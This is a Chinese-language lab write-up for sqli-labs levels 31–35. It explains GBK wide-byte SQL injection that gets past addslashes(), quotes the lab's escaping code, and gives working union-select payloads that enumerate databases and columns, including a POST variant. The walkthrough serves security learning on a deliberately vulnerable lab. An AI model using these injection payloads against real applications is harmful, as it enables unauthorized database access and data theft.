接續前篇 從sqli-labs學習SQL注入(Less25-Less30)
Less-31
和Less-29一樣,只是拼接方式從單引號改成雙引號加括號
Less-32
繞過addslashes()
不繞過是不行的payload
?id=-1' union select 1,version(),database() --+
輸出內容:Hint: The Query String you input is escaped as : -1\' union select 1,version(),database() --
源碼分析
# 在' " \ 等敏感字符前面添加反斜杠 function check_addslashes($string) { # \ 轉換為 \\ $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); # 將 ' 轉為\' $string = preg_replace('/\'/i', '\\\'', $string); # 將 " 轉為\" $string = preg_replace('/\"/', "\\\"", $string); return $string; } $id=check_addslashes($_GET['id']); mysql_query("SET NAMES gbk");
addslashes()會在單引號前加一個\ 例如:I'm hacker 傳入check_addslashes(),得到:I\'m hacker
而
寬字節注入原理
MySQL 在使用 GBK 編碼的時候(mysql_query("SET NAMES gbk");),會認為兩個字符為一個漢字,例如 %aa%5c 就是一個 漢字(不需要知道%aa%5c是什麼漢字,只需要知道這個原理即可)。因為過濾方法主要就是在敏感字符(' " \)前面添加 反斜杠 \,所以這裡想辦法幹掉反斜杠即可。
- %df 吃掉 \
具體的原因是 urlencode(\') = %5c%27,我們在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 編碼方式的時候會將兩個字節當做一個漢字,這個時候就把%df%5c 當做是一個漢字,%27 則作為一個單獨的符號在外面,同時也就達到了我們的目的。
- 將 \' 中的 \ 過濾掉
例如可以構造 %5c%5c%27 的情況,後面的%5c會被前面的%5c 給註釋掉。這也是 bypass 的一種方法。
本關卡採用第一種 %df 寬字節注入來吃掉反斜杠
當然,如果mysql連線方式不是gbk,即把 mysql_query("SET NAMES gbk"); 去掉,下面的payload是注入不了的
爆庫名
?id=-1%df' union select 1,version(),database() --+
輸出內容:
Your Password:security
Hint: The Query String you input is escaped as : -1�\' union select 1,version(),database() --
爆字段
我在爆列名的時候卡了一下,分析半天語句最後想起來了, 'users' 這裡有單引號。
使用十六進制編碼就可以繞過了''使用0x 代替,users 使用十六進制編碼得到7573657273,構造為0x7573657273
?id=-1%df' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273 and table_schema=database()--+
輸出內容:Your Password:id,username,password
如何得到users的十六進制編碼
使用HackBar 或 線上工具 Online Hex Encoder ,這裡以HackBar為例
選取users(先去掉單引號)
ENCODING => Hexadecimal encode
即可將users替換成hex code 7573657273
送出(Execute)之前記得在Hex code前面加0x
Less-33
和Less-32相同,只是過濾方式從preg_replace()改成addslashes(),拼接方式不變,用Less-32的payload即可
Less-34
Less-11 和 Less-32 的變形,就是在 Less-11 的基礎上對傳入參數做了 addslashes()過濾,當然MySQL也是使用了GBK連線(mysql_query("SET NAMES gbk");)才能注入。然後這題是POST,所以需要使用到burp suite
意外的錯誤
我在解這題時用這個payload
uname=admin%df' union select version(),database()--+&passwd=admin&submit=Submit
遇到了這個錯誤
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (gbk_chinese_ci,COERCIBLE) for operation '='
原因
users表的username字段的定序(COLLATE)是latin1_swedish_ci造成的,把該字段的字元集(CHARACTER)和定序(COLLATE)改為gbk和gbk_chinese_ci 或 utf8和utf8_general_ci 或utf8mb4和utf8mb4_unicode_ci 即可。Less-32和Less-33 沒遇到這個問題是因為對id(int)注入,而users.username 是varchar
或是用這方式重啟mysql 容器
# docker run -p 23306:3306 --name my-mysql-5.6 -v /root/my-mysql-5.6:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=xxx -d mysql:5.6 --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
會把 character_set_server 從 latin1 改成 utf8mb4
collation_server 從 latin1_swedish_ci 改成 utf8mb4_unicode_ci
然後刪 security 庫重新匯入SQL
爆庫名
uname=admin%df' union select version(),database()--+&passwd=admin&submit=Submit
Less-35
為什麼你要在乎 addslashes()
使用以下payload測試注入點
?id=1'
輸出內容:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' LIMIT 0,1' at line 1
從報錯中發現,id沒有被單引號和雙引號包著。現在你了解了本題的標題(why care for addslashes()),不需要繞過,直接注入
沒有留言:
張貼留言